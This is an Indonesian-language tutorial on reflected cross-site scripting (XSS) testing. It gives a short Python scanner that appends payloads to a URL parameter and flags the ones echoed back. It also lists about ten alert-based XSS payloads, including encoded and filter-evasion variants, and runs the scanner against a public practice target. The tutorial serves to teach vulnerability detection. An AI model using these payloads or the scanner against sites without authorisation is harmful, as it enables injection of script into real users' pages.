Dalam era di mana keamanan cyber menjadi semakin penting, pengujian penetrasi web (web penetration testing) adalah langkah yang krusial untuk melindungi sistem dan aplikasi dari serangan. Salah satu jenis serangan yang umum terjadi adalah Cross-Site Scripting (XSS), yang memungkinkan penyerang untuk menyisipkan skrip berbahaya ke dalam halaman web yang kemudian dapat dieksploitasi untuk mencuri informasi sensitif atau melakukan tindakan berbahaya lainnya.
Penjelasan Umum XSS
Cross-Site Scripting (XSS) adalah serangan keamanan pada aplikasi web yang memungkinkan penyerang menyisipkan skrip berbahaya ke dalam halaman web yang kemudian dieksekusi oleh pengguna yang melihat halaman tersebut. Serangan XSS umumnya terjadi ketika aplikasi web tidak memvalidasi atau menyaring input pengguna dengan benar sebelum menampilkannya kembali kepada pengguna lain.
Dengan memanfaatkan kelemahan ini, penyerang dapat menyisipkan skrip yang berbahaya, seperti JavaScript, ke dalam halaman web yang kemudian dieksekusi oleh pengguna yang mengakses halaman tersebut. Skrip ini dapat digunakan untuk mencuri informasi sensitif pengguna, sesi login, cookies, mengganggu interaksi tampilan halaman web, atau bahkan mengalihkan pengguna ke situs web palsu yang dirancang untuk mencuri kredensial login.
XSS terbagi menjadi beberapa jenis, termasuk Reflected XSS, Stored XSS, dan DOM-based XSS, yang masing-masing memiliki karakteristik dan cara kerja yang berbeda. Serangan ini merupakan ancaman serius bagi keamanan aplikasi web, dan oleh karena itu, penting bagi para pengembang web untuk memahami cara mendeteksi, mencegah, dan mengatasi serangan XSS guna melindungi pengguna dan data mereka dari eksploitasi yang berpotensi merugikan.
Exploit Python
Dalam tutorial artikel ini, kita fokus dalam pengembangan exploit menggunakan Python. Penulis asumsikan Anda sudah mengerti bahasa pemrograman Python dan sistem sudah terinstall Python. Exploit yang penulis kembangkan sangat sederhana, jadi masih banyak kekurangan di dalam kode yang di buat.
- Pertama, dalam hal ini kita perlu menginstall salah satu library yang sangat populer dalam berinteraksi protokol HTTP yaitu requests. Kita masuk dalam terminal lalu ketik di bawah ini :
pip install requests
import argparse
import requests
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', type=str, help='target URL')
args = parser.parse_args()
class MainProgram:
def Main(self):
if args.url:
url = args.url
with open("reflected-xss-payloads.txt") as payloads:
for x in payloads:
response = requests.get(url + x.strip())
if x.strip() in response.text:
print("[+] Found Reflected XSS : " + x.strip())
if __name__ == "__main__":
RUN = MainProgram()
RUN.Main()
-
Penjelasan Kode :
- import argparse: Ini mengimpor modul argparse yang digunakan untuk mengolah argumen dari baris perintah.
import argparse
import requests
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', type=str, help='target URL')
args = parser.parse_args()
class MainProgram:
def Main(self):
if args.url:
url = args.url
with open("reflected-xss-payloads.txt") as payloads:
for x in payloads:
response = requests.get(url + x.strip())
if x.strip() in response.text:
print("[+] Found Reflected XSS : " + x.strip())
if __name__ == "__main__":
RUN = MainProgram()
RUN.Main()
File reflected-xss-payloads.txt nya :
<script>alert("VULN XSS");</script>
<input onfocus=javascript:alert(1) autofocus>
<BODY ONLOAD=alert("XSS")>
<script>\u0061lert('XSS')</script>
<script>eval('\x61lert(\'XSS\')')</script>
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<div onpointerover="alert(45)">MOVE HERE</div>
Run Program
Untuk run program nya penulis sudah memiliki live target untuk melakukan pentest di suatu web. Target pentest :
http://testphp.vulnweb.com/listproducts.php?artist=
Anda buka terminal lalu coba masukkan perintah ini :
python3 main.py -u http://testphp.vulnweb.com/listproducts.php?artist=
Demo Video Dan Screenshot
Demo video dan screenshot nya bisa di lihat di bawah ini :
Screenshot :
Penutup
Dengan demikian, dalam artikel ini kita telah menjelajahi proses web penetration testing dengan fokus pada eksploitasi dan deteksi kerentanan Cross-Site Scripting (XSS) menggunakan bahasa pemrograman Python. Melalui langkah langkah yang telah dijelaskan, diharapkan Anda dapat memperoleh pemahaman yang lebih baik tentang bagaimana serangan XSS dapat dieksploitasi dan dideteksi, serta bagaimana Python dapat digunakan sebagai alat untuk melakukan tugas tersebut.
Penting untuk diingat bahwa pengujian penetrasi web adalah langkah penting dalam memastikan keamanan aplikasi web dan melindungi data pengguna dari serangan cyber. Dengan meningkatkan pemahaman dan keterampilan dalam pengujian penetrasi, kita dapat lebih efektif dalam mengidentifikasi, mengeksploitasi, dan mengatasi kerentanan keamanan yang ada pada aplikasi web.
0 Komentar